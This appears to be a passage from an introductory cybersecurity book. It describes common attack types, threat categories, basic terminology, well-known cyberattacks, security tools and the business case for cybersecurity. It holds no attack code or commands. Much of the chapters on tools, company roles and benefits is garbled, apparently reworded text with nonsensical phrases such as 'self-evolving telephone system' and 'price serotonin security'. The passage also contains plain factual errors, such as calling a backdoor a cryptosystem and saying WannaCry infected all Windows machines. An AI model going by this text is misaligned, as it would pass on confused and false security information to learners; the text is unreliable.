These attacks are carried out by impersonating the participants of a conversation or a communication threat that has already taken place.
The attackers save previously sent messages and send them again, impersonating one of the conversation participants. However, replay attacks can be easily identified and dealt with by inspecting the messages and nonce's timestamps.

**Malware Attacks**

Any unwanted software installed in a computer without the user's consent or the administrator of the said computer is called malware. These malicious software attaches themselves to the system's legitimate codes and its useful applications while replicating across the internet. Many types of malware exist with various capabilities and intentions.

**Macro Viruses**

This type of malware infect commonly used software such as Microsoft Word and Excel. They infect a computer by attaching themselves to the initializing sequence of a trustworthy application. They are installed on the computer without the user noticing, thus without the consent of the user. When the unsuspecting user opens the particular application, the virus attached to it takes control of the application and replicates itself by attaching to the computer's system code.

**File Infectors**

These viruses usually sneak into computers by attaching themselves to executable (.exe) files. When the unsuspecting user loads the executable file, the virus is installed on the computer without knowing. Some file infectors create virus files with the same name as a trustworthy application as an executable file. When the file is opened, the virus springs into action and executes its intended procedures.

**Boot-Record or System Infectors**

These viruses attach themselves to the master boot record located on the hard disk of a computer. The virus is activated when the system starts. It looks at the computer's boot sector and loads itself to the system memory, where it infects other disks and computers.
affected computer's email address other than carrying out the malicious activities they have been programmed to. Worms are used to spread across the internet and overload email servers that result in multiple DoS attacks against the particular network.

**Droppers**

These are programs that infect computers by installing viruses in them. Droppers usually do not carry malicious code themselves. However, they are still detected by most anti-virus software. Some droppers are so advanced that they can connect to the internet and download any updates to viruses that they help install.

**Ransomware**

This type of malware is intended to block access to the target user's data. The program then threatens to erase or publish the data if the user fails to pay the ransom by following the instructions that it provides. Some ransomware can lock a computer in such a complex manner that removing them or recovering the data is often impossible without paying the ransom.

Such a level of complexity is achieved using a technique known as Cryptoviral Extortion. The technique encrypts the data so that it's almost impossible to recover without the exact encryption key. Most ransomware ends up receiving their ransom as users are forced to protect their data and privacy.

**Spyware**

This type of malware is intended to collect important information about the infected computer or network users. Some of the data that is often collected include user browsing habits and sensitive information at times. Spyware can track any computer activity without the knowledge of the user and send the collected data to remote attackers. They can also download other malicious software from the internet. Spyware is installed on a computer without the user's knowledge and consent when the user installs other freeware programs.
Adware

These software applications are used by marketing companies to advertise products and services by infecting computers. The infected computers end up displaying advertising banners irrespective of the program that is running. Adware is usually downloaded to a computer automatically when the user browses the internet. They usually use pop-up windows and bars to display advertising when it is being used.

SQL injection Attacks

These cyber-threats have been a widespread problem for websites that are driven by databases. They come into effect when the malefactor executes an SQL query to a website database with data input from the client to the server. Various SQL commands are then inserted into the data-plane input so that predefined SQL commands can be run. A successful SQL injection attack can gain access to sensitive data in a database and insert, update, or delete data.

Furthermore, they can force the execution of administrative operations on the database, such as shutdowns and file recovery. Some attacks can also issue commands to the infected computer's operating system. The vulnerability of computers to SQL injection attacks is caused by the fact that SQL does not differentiate between data planes and control. Therefore, these types of attacks are carried out through websites that use dynamic SQL.

Password Attacks

Passwords are the most widespread method to authenticate users to computer systems. Therefore, obtaining passwords have motivated attackers since having access to a user's password would mean straightforward access to the particular computer system. Hackers use various methods to steal passwords, and one of the most common ways of achieving that is by looking through the user's files.

Users who practice better cybersecurity practices do not leave their passwords lying around in their computers. In such situations, hackers use "sniffing" that acquires passwords with social engineering's smart
use. Brute-force password guessing involves a random approach where numerous different passwords are guessed using a set of logic such as the user's name, date of birth, hobbies, job title, and other important facts and figures.

Dictionary attacks utilize a database of common passwords. These passwords are encrypted and trials repeatedly in the hope of coming across the correct password of the targeted user. Account lock-out policies are highly recommended to protect users from various password attacks. The policy locks the computer upon reaching a certain number of incorrect password attempts. There are various lock-out policies out there that individuals and organizations implement varying in complexity.

Drive-By Attacks

These cyber-attacks are one of the most common ways of spreading malware. Many websites on the internet are not secure. Hackers identify such websites and plant malicious scripts into their PCP or HTTP codes. These malicious scripts can directly install malware onto the computers of those who visit these insecure websites. Some of the websites used by hackers redirect users to other websites controlled by hackers where their computers are infected.

Furthermore, one's computer can face a drive-by attack when viewing emails or through pop-up windows. One of the main reasons that expose users to drive-by attacks is the fact that they don't require the user to take a certain action for an attack to take place other than visiting an insecure website. There is no need to click on any button, link, install any program, or open a malicious link or executable file attached to an email.

Drive-by attacks use security flaws of various operating systems and web browsers, especially those that haven't been regularly updated. Therefore, computer users and those who browse the internet, especially insecure websites, can protect themselves from drive-by attacks by keeping their operating systems and browsers updated. Furthermore, it is recommended that internet users limit or completely avoid insecure websites.
However, some hackers can infect the most secure websites. Therefore, many internet users are exposed to drive-by attacks. The removal of unnecessary apps and programs from devices has also helped decrease the risks of drive-by attacks. Computers with many plug-ins tend to be more vulnerable to these attacks as they exploit those plug-ins to achieve their malicious intentions.

**Eavesdropping Attacks**

These attacks intercept network traffic intending to gain credit card numbers, passwords, and other sensitive information that users usually send over network traffic. Eavesdropping can be divided into two categories as passive and active eavesdropping.

Passive eavesdropping is when a hacker listens to the messages transmitted through a network to gather sensitive information belonging to users. On the other hand, active eavesdropping is when a hacker disguises himself/herself as a friendly entity to gather information from the users. The hackers send queries pretending to be a trustworthy entity and gain the information that they are after. Active eavesdropping is also known as scanning, probing, and tampering.

It must be highlighted that it is more important to identify or detect passive eavesdropping attempts than active ones as they are more difficult to detect and can cause more damage. Active eavesdropping takes more work since the attacker needs to learn about a friendly entity known by the particular target user, which is usually achieved by passive eavesdropping.

Therefore, detecting passive eavesdropping attempts can protect one's information and eliminate the chances of active eavesdropping taking place. The encryption of data is one of the most effective methods of overcoming passive eavesdropping attacks.

**Birthday Attacks**

These attacks are designed to infiltrate hash algorithms that protect the integrity of messages, digital signatures, and software. A message
is usually characterized by a message digest (MD) that has a fixed length. A hash function creates the MD of a message, and it does not depend on the length of the message.

Birthday attacks are carried out by finding two random messages that produce the same MD through a hash function. Attackers achieve this goal by calculating the MDs for random messages that they create and compare those MDs with those created for messages sent by users.

If an attacker has an MD, which is the same as the MD assigned for a message sent by the target, the attacker can replace its message with his random message. What makes birthday attacks dangerous is detecting such attacks even if the target compares MDs of the messages since they are the same.

Cross-Site Scripting (XSS) Attacks

These cyber-attacks utilize third-party web resources to execute malicious scripts in web browsers and applications that use scripts. Payloads of malicious JavaScript are injected into the databases of websites by the attackers. When a user visits such a website, the website's pages are transmitted to the user's browser, including the payload injected by the attacker, which is transmitted as a part of the HTML body.

The victim's web browser then executes the script that is transmitted that includes the malicious scripts. These malicious scripts usually send the cookies that belong to the victim to the attacker's server. The attacker can then use the cookies for session hijacking. When XSS is used to detect vulnerabilities, the consequences can be costly. Identification of vulnerabilities allows attackers to log keystrokes, collect network information, capture screenshots of the victim's screen, and even remotely access the victim's device and control it other than stealing cookies.

JavaScript is widely used by attackers for XSS attacks, although Active X, Flash, and VBScript are also used. Most attackers prefer JavaScript due to its popularity on the web. One of the best ways to decrease the chances of XSS attacks is by sanitizing users' data inputs in HTTP
requests before responding to them.

All the data is filtered, validated, and escaped in such a scenario before it is transmitted back to the user, including the query parameter values. Giving users the ability to disable client-side scripts is also an effective way of overcoming XSS attacks.
Chapter Five:
Cyber Threats

Cyber threats come in many guises, from personal identity theft to corporate hijacking to institutional/national security hacks. As technology advances, it seems that the ranks of invaders—even computer terrorists—grow just as quickly. Basically, these threats break down into three categories.

Attacks on confidentiality: Credit card fraud is rampant in our world, as is identity theft. Both are criminal acts and inherent invasions of privacy; personal information is released to a potential ever larger group of hackers. The person who was attacked must rectify the situation to great inconvenience. On a more public, more dangerous level are spies who focus on nations or states. Their activities focus on obtaining confidential data for military, economic, or political gain.

Attacks on integrity: Integrity attacks, or sabotage, aim to damage or obliterate systems or information and those who use and rely on them. They can be as subtle as a typo or as blatant as an out-and-out smear campaign to destroy the target.

Attacks on availability: The use of ransomware or denial-of-service are attacks on availability. The ransom comes into play when a price is demanded to decrypt the target's data, while denial-of-service swamps a network resource with requests, making the service unavailable.

More specifically, here are some ways that these attacks are carried out.

A backdoor, also known as a cryptosystem or algorithm, is a way to bypass normal security controls such as passwords. They can be authorized (as for a specific purpose) or added by an attacker. In any
case, they create a vulnerability.

To make a computer or resource unavailable, denial-of-service attacks can occur when incorrect passwords are entered multiple times, locking the account or overloading the system with requests and blocking all users. These attacks can stem from zombie computers or even from duping innocent systems into sending unwanted traffic.

Eavesdropping is exactly what it sounds like—listening to private communications between network hosts. Certain programs are used by government agencies to "audit" ISPs. This widespread practice extends to closed systems when electromagnetic transmissions are monitored.

Masquerading through falsifying data to gain access to unauthorized data is called spoofing and comes in many forms: email spoofing, forgery of a sending address; MAC spoofing, changing the Media Access Control address to pose as a valid user; biometric spoofing, faking a biometric sample; IP address spoofing, altering the source IP address to hide identity or impersonate another system.

Through physical access or direct-access attacks, a perpetrator can copy data, compromise security, install listening devices or worms, and more. Even protected systems are vulnerable to this type of attack.

Phishing frequently uses email spoofing or instant messaging to direct users to enter confidential information by looking almost the same as legitimate sites.

An attacker can escalate their access level through privilege escalation by fooling the system into granting access to restricted data or resources.

Clickjacking is literally hijacking a user to click on a link or icon to another website other than the intended one. Particularly sneaky, clickjacking routes the clicks, or sometimes keystrokes, to an irrelevant page.
By impersonating an institution, bank, customer, or other entity, social engineering leads users to reveal passwords, credit card numbers, and other private information. This scam reportedly costs U.S. businesses more than $2 billion every two years.

Without computers, the world would slip back into the pre-Industrial Revolution mode. Technology has streamlined every aspect of life, particularly for businesses and other public entities, some of which are more and more at risk.

Financial authorities, investment banks, and commercial banks are recruiting cybercriminals who see an avenue for market abuse and illicit profits. Any website that allows the conversion of funds or purchasing of products is also a priority, as ATMs are regularly hacked for consumer details and PINs.

Utilities and Industry: Vital services, including the power grid, nuclear power plants, water and gas networks, and telecommunications are controlled by computers. It has been proven that even those controlled by computers not connected to the Internet are vulnerable to attack.

Aviation: One power outage at a major airport can have a tumultuous ripple effect on air traffic. Radio transmissions would be disrupted, and an in-plane attack can occur, loss of system integrity and aircraft, and air traffic control outages are just some of the possible outcomes.

Personal devices: All of those wonderful gadgets that people use to simplify life—smartphones, tablets, smartwatches, activity trackers—can be exploited through built-in cameras and other devices. Attackers can collect health other personal information or use the device networks as paths to an attack.

Corporations: Identity theft and data breaches such as credit card information have been aimed at large corporations such as Target Corporation and Equifax. In some cases, foreign governments attempt to spread propaganda or spy through attacks. Health insurance fraud, which costs everyone, impersonates patients to obtain drugs for illicit purposes, which is also common. Despite these activities, 62% of all
organizations did not augment security training in 2015.

Autos: Today's vehicles practically drive themselves, and the day when this common is not far off. Cruise control, airbags, anti-lock brakes, and other features make driving more enjoyable and, hopefully, safer. WIFI and Bluetooth keep the cars connected and raise the possibility of security breaches.

Government: Attacks on government and military systems create chaos, disrupt services, and—to the extreme—qualify as acts of terrorism. Whether it is an activist, foreign government, or other hackers, the result is infrastructure malfunction of personnel records, police and other first responder communications, student records, traffic controls, and financial systems. Widespread computerization of personal identity items such as passports and access cards also lead to vulnerability in this area.

Internet of things (IoT): Physical objects that carry sensors, software, or any network connection to store and share data are part of the Internet of things. A building, vehicle, or appliance can comprise the IoT, and the proliferation of this modern phenomenon creates the possibility for physical—not just virtual—threat. For instance, a stolen cellphone can unlock a residence or hotel room door.

Medical systems: Viruses, breaches of sensitive medical data, diagnostic equipment, and other devices are potential attacks. These threats are deemed so likely that, in 2016, the U.S. Food and Drug Administration created guidelines for the secure maintenance of manufacturers of medical devices. However, no recommendations or structure for implementation were included.

Malware

The malware of one type or another is the single largest threat to the average organization's daily operations, offering the potential to directly impact critical data and assets' availability. As such, if they hope to combat this threat effectively, organizations both big and small need to increase their vigilance while at the same time
evaluating their capabilities when it comes to response, detection, preparation, and planning for potential threats. As new types of destructive malware are certain to evolve, it is critical to understand how your organization will prepare for known threats and how it will prepare for the unknown as well.

Distribution vectors: Potentially destructive malware frequently has the ability to target large-scale systems that can then potentially execute simultaneously at multiple points throughout a given network. As such, organizations must regularly assess their operating environments for atypical channels that could indicate potential malware propagation or delivery. Systems worth keeping an eye on including the following.

Enterprise applications, especially those that have the potential to interface directly with multiple hosts and endpoints. Common examples include patch management systems, asset management systems, remote assistance software, antivirus software, centralized backup servers, file shares, and network administrative systems.

While not limited to just malware, the following threat actors could compromise resources that would ultimately impact critical applications’ availability. This type's potential threats include centralized storage devices, high-risk partitions or data stores, network devices, routing tables, and crucial network resources.

Strategies for success: While there are plenty of potential malware vectors that the average organization needs to deal with regularly, there are also numerous different strategies that make keeping malware at bay far more manageable. The first of these is ensuring a viable communication flow at all times. This means you will also need to ensure proper network segmentation at all times and also ensure that any control lists that are network-based are properly configured to ensure that they permit server-to-host and host-to-host connectivity via the minimum scope of ports and protocols and that directional flows for connectivity are represented appropriately.

It is also crucial to ensure that the information flow pathways are not
only well established but are also approved or reported. From there, you would want to expand understanding of systems that can be used as a portal to rotate sideways as required or link directly to relevant endpoints located everywhere in the enterprise. Whatever you do, it is necessary to do what you can to ensure that these networks are managed within these restrictive VLANs with sufficient network access control and segmentation as required.

Where it comes to having the right level of control over who has access to what, it is critical that enterprise applications that can communicate with multiple endpoints directly all need dual-factor authentication for any interactive login. Furthermore, it is necessary to ensure that approved users are confined to a particular subset of the employees of the company. Whatever you do, the default user community must not be able to authenticate or explicitly control these programs.

You would also need to ensure that specific domain accounts are documented and used for any service that includes an enterprise application. The sense in which these permissions are issued to separate users should always be fully recorded and configured. The highest number of accounts having the least number of rights possible. This allows the organization to track and control actions performed on the basis of assigned service accounts.

This is why it is important to avoid providing a service account with either interactive or local login permissions. In fact, service accounts should be expressly denied these types of permissions, especially if access to critical data locations or important network shares. Additionally, accounts that are used to authenticate centralized servers should not contain downstream systems that have elevated permissions as this could allow a system that is far easier to compromise to infect a system that is typically far better protected.

Recovery planning: A business impact analysis is crucial for preparing a contingency plan if your system is attacked seriously. This plan should provide your organization with two key components, interdependencies and classification and characterization of relevant components. To plan for this type of scenario, an organization needs
to address the accessibility of available resources, including mission- 
critical applications and systems, contact information for crucial 
external contacts, contact information for essential personnel, and a 
secure communication channel for each. It is also important to have 
all major vendor contact details and points of contact regarding 
organizational procurement and backup ISO files for all critical 
applications and systems.

Containment: If an organization experiences a large-scale outbreak of 
malware, the immediate focus should be on containment above all else 
to reduce the scope of the attack overall and minimize the likelihood 
that additional systems will be impacted. To develop a strategy for 
containment, the best place to start is by determining the vector or 
vectors common to all of the systems that are experiencing problems 
that could have been used to deliver a malicious virus. Common 
options include:

- DNS Server
- Network boundaries or segments
- User accounts with higher than average privileges
- Centralized file shares
- Centralized applications

Once you find a likely distribution vector, you can then move on to 
ensuring additional means of mitigation, starting with implementing 
network control lists as a means of denying applications the capability 
of communicating directly with other systems. Doing so will 
immediately make it much easier to isolate and sandbox specific 
resources so that you can more accurately determine what's wrong. 
Your internal DNS can be used for this task by simply adding a null 
pointer to the DNS zone for any identified applications or servers, 
which will make it easy to see what both are running and unidentified.
Chapter Six:

Cybersecurity Terminology

Several terms used throughout this book relate to the cybersecurity domain. It is important to cover these terms in the first chapter to be familiar with them when they start making subsequent appearances. These terms are related to all the devices you use today, the software on those devices, the network infrastructure the devices are connected to, and so on. We will now go through these terms individually.

Cloud

The Internet is made up of clouds—and not the ones in the sky. Cloud computing is a technology that allows a user to access their files from anywhere in the world. Cloud is a network of computers that store data that can be accessed by a smart device remotely. The most common example of a cloud is your emails. They are stored on a distributed set of computers on the Internet, and you get to access them from anywhere as long as you have the required credentials. Another example would be something like a Spotify playlist that you have created using your mobile phone, but you still get to access the same playlist from another device like a laptop when you log in using the same account.

Software

The software can be defined as instructions that tell a computer what to do. These instructions are put into a software package, which a user can install and start using. One of the most common software examples is Microsoft Office, which is used to create documents, presentations, etc. Your smartphone apps are also software that you use for various purposes. For example, WhatsApp messenger is the most common app used to send messages.
Domain

A domain is a parent for child devices interconnected, such as computers, smartphones, printers, etc. For example, all the computers at a workplace are a part of a domain belonging to the organization. There are policies defined in the domain's framework that govern the access that the devices will have under that domain.

IP Address

An IP address is a digital address assigned to a smart device over a network, a local network, or the Internet. Every device connected to a network is associated with an IP address. That IP address is used by other devices to locate and communicate with each other.

Virtual Private Network (VPN)

A virtual private network is a network over which you can be anonymous. You get assigned an IP belonging to a different region, and all your actions over the Internet are logged via that IP, thus keeping your original IP hidden. VPN applications also encrypt the traffic for you so that the Internet Service Provider or the government cannot track your activities online. VPNs are also used by organizations to keep you connected to the office network if you want to access the office network from outside. This has gained a lot of popularity in recent times as it helps a person work from home or remotely.

Exploit

An exploit is defined as a malicious piece of code that can be used to take advantage of a vulnerability or loophole in a computer or a server. Viruses, Trojans, Botnets, etc., are all used to execute an exploit in a target system.

Breach

When an attacker takes advantage of a system's vulnerability and gains access, it is known as a breach.
Firewall

The technology used to create rules for a system so incoming and outgoing traffic can be filtered, known as a firewall. Firewalls can be implemented using both hardware and software.

Malware

Malware is a broad term or an umbrella that includes any malicious software that can harm a computer. The most common types of malware are viruses, worms, Trojans, ransomware, etc.

Virus

A virus is defined as malware that can harm certain programs on a computer. It can further replicate itself and spread over multiple files and computer networks. It needs a host file and cannot execute by itself. Viruses were known to affect only software, but they have evolved in recent years even to cause physical damage to hardware.

Ransomware

Ransomware is a type of malware that will encrypt all the data on your computer and prevent you from accessing it. The attacker who deployed the ransomware will leave an application where you make a payment to them, after which the files will automatically be decrypted. In 2017, a ransomware known as WannaCry infected all Windows-based machines.

Trojan Horse

A Trojan horse is comparable to a virus, but it does not execute by itself. It is usually masked and lies under a file, which may be important to a user. For example, a user may receive a PDF with the content they were expecting, but at the same time, clicking on that PDF triggers a malicious script. This implementation is known as a Trojan horse.

Worm
A worm is a piece of malicious code that is capable of replicating itself over a network. It may not necessarily infect a file like a virus does, but it can do something annoying like consuming the network bandwidth and denying the bandwidth to the user.

**Bot or Botnet**

A bot is a malicious application that can be planted over a network of computers, allowing an attacker to remotely control the complete network. The collection of computers on which the bots are planted is called a botnet. The botnet is controlled by an attacker who is known as a bot herder.

**DDoS**

DDoS stands for "Distributed Denial of Service" and is a form of cyberattack. The motive of a DDoS attack is to flood a network with malicious traffic so that genuine requests for a website cannot be accommodated in the bandwidth. DDoS attacks are often executed by implementing botnets.

**Phishing and Spear Phishing**

This is a technique used by attackers to retrieve information. The most common example of this is emails sent to unsuspecting users, which may seem legit but will have links redirecting you to something else. For example, if you have an account with Citibank, the sender of the email will have an email address like something@citibanks.com, adding an extra S. An innocent user may believe it to be legit and may end up clicking on a link they are not supposed to. These links can often ask you to enter your account details and even login passwords recorded by the attacker.

**Encryption**

The process of encoding data using a known algorithm to access it, except someone with a decoding key, is called encryption.

**Bring Your Own Device (BYOD)**
This is a policy implemented by many organizations that suggests that employees can use their personal devices for business. A BYOD policy will have access restrictions concerning whether the personal device can connect to the corporate network or not.

**Penetration Testing**

Penetration testing—also known as a pen-test—uses attacking tools and techniques to review the security of an organization's infrastructure. Internal teams or external experts are hired to conduct the test to discover vulnerabilities in the organization's infrastructure to be fixed before encountering a real attack.

**Clickjacking**

This attack tricks the user into clicking on a link or button, which looks genuine but has malicious scripts embedded in it.

This book has only covered the tip of the iceberg for cybersecurity terminology, but this will serve as a launchpad to better understanding.
Chapter Seven:

History of Cyberattacks

Now we will go through the most well-known cyberattacks in history. Cyberspace is an open community where everyone is connected and can reach anyone irrespective of time or distance. It may be called a way of life today, but it has consequences if not used with care. Some notorious people use cyberspace to attack websites belonging to banks, social media that contains a gold mine of user information, and even governments. Here are a few modern cyberattacks:

The SpamHaus Project

SpamHaus is a public service on the Internet that helps filter out spam emails based on their content or their origin's reputation. The attack on SpamHaus is considered the biggest cyberattack in history where home and business broadband router owners were targeted. The attackers gained control over these routers, and all these users became involuntary participants of the attack. Millions of email service providers use SpamHaus to filter out spam emails from the Internet. On March 18, 2013, SpamHaus had blacklisted a company called Cyberbunker, which led to losses for the company. Cyberbunker and other hosting companies retaliated to this by hiring hackers who deployed botnets by exploiting broadband routers to shut down the SpamHaus network.

Sony Playstation

In 2011, information such as credit card details and user information was stolen from 77 million users by a group of hackers. This cost Sony around USD two billion in damages. Another pain point for the company happened when hackers were continuously able to access the
Sony network using the login details of gamers even when they tried to fix the issue. This whole attack lasted for twenty-four days.

PayPal

In December 2010, PayPal became a victim of a cyberattack. This happened immediately after PayPal had blocked WikiLeaks' account for fundraising, citing violation of PayPal's acceptable usage policy. Multiple users boycotted PayPal because of this event, and many hackers started targeting PayPal.

Canadian Government Hacking

In February 2011, the Canadian government disclosed via multiple news channels that they had become victim to hacking conducted from IPs that traced back to China. The attackers accessed three departments of the Canadian government and stole data from those departments. The attack was eventually stopped by cutting off Internet access to the three departments, putting a full stop to data transmission to China.

4chan

4chan is an English language-based website used for posting pictures and discussing Japanese anime and manga. It was launched in October 2003 by a fifteen-year-old New York student named Christopher Poole. The users were allowed to post anonymously, which served as a drawback for the website. A user, Hal Turner, claimed he was the target of DDoS attacks and prank phone calls made to his radio show in 2006. In 2008, an anonymous 4chan user hacked the private Yahoo mail account of Sarah Palin, a candidate for vice-presidential elections.

Citigroup

Citigroup is one of the largest financial institutions in the world. On its own, this was enough incentive for notorious attackers to target their
network as it had a lot of sensitive and valuable information flowing through it daily. An attack in 2011 on the Citigroup network led to customer information, such as contact details and account information, being stolen from more than 200,000 customers. The company suffered monetary damage of USD 2.7 million due to this attack.

**Michael Calce**

In 2000, a fifteen-year-old boy named Michael Calce, popularly known as "Mafiaboy" in cyberspace, gained the spotlight for hacking high-profile companies such as computer giant Dell, Fifa.com, Yahoo, Amazon, CNN, and eBay, causing damage worth USD 1.2 billion. He also attacked nine out of thirteen root name servers of the Internet domain space. Being a juvenile, Calce got away with only eight months of open custody, a year of probation, and a small fine. He was also not allowed to own any Internet-powered device by the Montreal Youth Court for eight months.
Chapter Eight: 
Types of Cyber Security Tools

1. IBMQRadarAdvisor and Watson

This is undoubtedly the absolute best protection program used by companies. Watson, using artificial intelligence (AI), is self-learning and self-evolving telephone system. Just what it can be, before the chance is detected, it eliminates the section. The operating goes as such: IBM QRadar tracks the place. It collects information and connects online, offline, and inside the coding unit. It formulates a technique to add it next when an event is raised, it eliminates the chance. This is of all the absolute best web incidents? Kill security plans being used.

2. Wireshark

It is among the most popular community analyzer protocol. It assesses the vulnerable regions on the device in which the individual is working. Wireshark can collect or perhaps view the minutes of the info in addition to activities that are going on a product. The incoming and outgoing packets of info along with the protocol that's being employed in the transmission could be viewed. Just what it can be captures the lifestyle info and also creates a traditional analysis sheet that should assist in tracking.

3. Cryptostopper

It is among the best tools on the net right now to prevent ransomware or perhaps malware attacks on merchandise. What crypto stopper does is it finds the bots which are encrypting the documents along with deletes them. It creates a design or perhaps a deception way of latching it on by itself upon the device when it latches itself; crypto
stopper detects in addition to deletes that code. Cryptostopper makers are inclined to make a pledge of a nine-second threat detection and elimination challenge. It isolates the workstation and the infected areas of the unit so that the ransomware will not be able to gradually affect more areas.

4. N MAP

It is of all the countless primary and open source utilities created for community securities. NMAP is not just great with tiny networks, but large networks too. It recognizes the hosts and the receiver on a product. Along with it, furthermore, it uses the distributions of operating systems. It's in a position to scan hundreds and thousands of devices on a process in one moment.

5. Burp Suite

It is another web scanning algorithm security program, which allows you to browse online uses. The main reason behind this specific gadget is checking and also penetrate the jeopardized approach. It checks the surfaces that might be influenced along with the sender and the destination’s responses and requests for the risk. If any threat is found, it's in a position to either be quarantined or might be eliminated.

6. OpenVAS

Nessus’s utility, but fairly unique from Nessus and Metasploit though they do precisely the same, unique. It is viewed as most likely the most stable, less loophole, and use of web security tools on the net at the next.

You are going to find two primary components of OpenVAS.

Scanner: It experiences the insecure areas and directs a compiled report of the majority of it with the supervisor of its.

Manager: It compiles the requests obtained from the scanner, and after that, it can make a report of all of this type of incidences.
7. Nessus

Nessus is but one additional unit which checks for malicious hackers. It goes through the pcs on the device for unauthorized hackers who try to make use of the info coming from the net. Generally, it is believed that Nessus scans for unauthorized access for 1200 times. Apart from others, it doesn’t make assumptions that distinct ports are simply set for web servers as Port 80 is set for Web Server only. It is also an open-source unit, which provides an insecure patching assistance center, which further helps in giving achievable methods because of the affected areas.

8. Metasploit Framework

Developed by Rapid7, Boston, Massachusetts. It is considered to be the best open-source platform used to search vulnerabilities. It is a command shell as it works within Unix; therefore, owners are competent to work the hand of theirs and automobile guidelines to take a look at along with run the scripts. Metasploit Framework has a couple of built-in, too, as a few final party interfaces, which could be used to exploit the affected areas.

9. SolarWinds Mail Assure

It is a multi-functional application that addresses the majority of email security issues. It is information from nearly 2 million domains, which is coming from 80 5 nations. It is the same made available as Software as a Service (SAAS). It can help defend the user’s applications from spams, viruses, phishing, and malware.

There are plenty of other net protection tools out there that could help eliminate the opportunity together with the above-mentioned list. They are as follows:

- Aircrack-ng
- Call Manager
- MailControl
Conclusion

Along with the growing usage of technology and advancements in devices and networks, security will definitely be a crucial risk factor. But should we not use it then? Not at all! There permanently will be security aids that will block and eliminate these security threats. But making use of these power tools is also an important and learnable aspect. One cannot simply put it to use to avoid the risk in addition to the disease of one's product on a product.
Chapter Nine: Roles of Cybersecurity in A Company

Cybersecurity is essential for almost any company. No business would like to be the victim of a cyber-attack; therefore, the function of cybersecurity in an enterprise is a remarkably crucial one. The most powerful approach to make sure that specific businesses will not become the victim of any cyber attack is confirming the business includes a great safety program installed just before virtually any assault has the ability to happen.

In an enterprise, the people, processes, and engineering should all opposite one another to get a very successful defense from cyber attacks. An individual threat management device can automate integrations around select Cisco Security merchandise & accelerate serious security operations functions: detection, investigation, and remediation.

With a younger, more tech-savvy generation participating in a larger part of business nowadays, the wellness of an organization's cyber safety strategies, protocols, and treatments has become a great deal much more important in 2018. Storing personal information on the computers of theirs & items much more than their older, more paper-oriented colleagues, the below thirty-four industry filling cybersecurity responsibilities cast a much broader encounter net to lose for psyched cybercriminals.

Contribute to the design for mobility afforded by remote working and the use of specific equipment, and organizations are providing themselves broad prepared to recognize danger by info, applications, and networks. Consequently, with the advantages of cybersecurity in
an organization, an important talking thing within the business community, anyone at the helm ought to step up their initiatives to teach, engage and evaluate; thus, no matter how or where the employees work of theirs, the organization remains shielded.

The increasing dependence on technology is only one aspect in what tends to make cybersecurity quite crucial to contemporary organizations; the strain from regulators on guarding consumer info is still another leading driver in pushing cybersecurity on the peak of the business agenda, with the approaching EU GDPR directive prepared to enhance accountability on crucial US and global business organizations, and also the growing significance of non-actual physical assets. In line with this kind of trend, companies must reassess the company culture of theirs and risk management frameworks to have the ability to carry out a great alternative cybersecurity plan to evaluate better and mitigate chances around all enterprise performs.

Clearly, if 2018 income predictions are a thing going by, companies are wising around the value of the cybersecurity personnel of theirs, with Robert Walters' annual cash flow survey forecasting an increase of 7% this season for cyber specialists, the best raise through the entire IT profession. That's just several businesses are performing to keep the cybersecurity teams of theirs pleased, realizing that further to revenue, you will find various other incentives just as attractive to bring out and prevent cyber talent. Flexibility on working hours and the option of remote performing is a significant draw for cyber professionals and the sorts of jobs they're operating on, too, as in case they truly feel positive together with the company culture.

Now's time, businesses of all sizes need to be pressing the boat over to run the cybersecurity roles. As mobility, remote working, and the Internet of Things (IoT) creates complex vulnerabilities across the business. The worry will be the point that global entities are infiltrated via small contractors or maybe vendors utilizing the IoT as it will make an easier entry in the networks of theirs, thus various organizations should be looking at the security of the 3rd party risk management to stay away from this from happening.
At yet another conclusion, small and mid-sized businesses should do something in the strength of theirs to strengthen the personal details of theirs & preferably head threats off in the past. Multi-factor authentication is going to be among the main resources used by vendors of the fight against biometric attacks as well as password hacks as they aim for tougher security measures, furthermore to Consulting with specialists outside the organization to ensure the protection plans of theirs are properly created against completely new possibilities as well as boosting the profile in addition to coverage of Chief Risk Officers (CROs) in assisting in providing organizations a 360 view of the cyber effects on the company of theirs.

Harsh cybersecurity addresses people, processes, and technology.

People:

Every employee needs to care for the job of theirs in halting cyber threats. Cybersecurity personnel has to keep up with probably the most current risks, solutions, and qualifications. Owners must comprehend and comply with essential information security principles like choosing strong passwords, being scared of attachments in email, and backing up data. Find out more about essential cybersecurity concepts.

Processes:

Documented processes should define roles, responsibilities, and procedures. Cyber threats are constantly evolving, so procedures must be continually reviewed. Businesses have to use a framework for how they handle each attempted plus prosperous cyber attacks. One highly regarded framework can direct you. It describes the strategy you're able to meet attacks, protect applications, detect and respond to threats, and overcome helpful attacks. See a video clip explanation of the NIST cybersecurity framework (1:54).

Technology:
From access configurations to installing antivirus applications, technology may be utilized to reduce cyber risks. Technology is essential to providing businesses and individuals the computer security equipment have to guard themselves against cyber attacks. Three leading entities need to be protected: endpoint devices as computer systems, sensible items, in addition to routers; networks; along with the cloud. Regular technology to safeguard these entities includes coming generation firewalls, DNS filtering, malware protection, antivirus software, and email security methods.
Chapter Ten:

The Benefits of Cybersecurity

The Cost of Cyber Attacks

Cyber attacks cost UK businesses 30.4 billion yearly based on existing research from CEBR, an IT ‘think-tank’ and Veracode, a computer protection type. The study of theirs implies that 18 billion is coming from lost revenue due to a productive encounter, while 16 billion presents the business organizations increased spending to enhance their IT defenses.

As the quantity of cyberattacks increases exponentially, and so to handle the cost of coping with them. In many businesses, budgets are constantly being reassessed in a company version of ‘rubbing Peter to pay Paul’ in a selection of situations, which indicates that investigation and development budgets are cut in the price serotonin security. To set it briefly, the threat and reality of cyber attacks restrict countless UK companies' innovative advancement.

Whether your company is big or small, cybersecurity should be a concern and serious consideration for every entrepreneur.

Benefit 1 - Protect the Standing of Yours

In numerous cases, on account of the public nature of the site of yours, a thriving breach is going to be difficult to conceal from the buyers of yours, potential customers, and associates. Sometimes hackers will bring your entire website down, while, in others, you may be made to do this yourself to limit the exposure and the destruction of yours.

Recovering from the reputational deterioration caused by a
cyberattack might be difficult. Putting in place a solid set of cyber defense remedies protects the standing of yours as well as the credibility of yours. You just have to browse Facebook, which offers bonuses to designers that recognize bugs and security vulnerabilities within their platform—a circumstance of Facebook turning probable poachers immediately into gamekeepers.

**Benefit 2 - Protect Your Information**

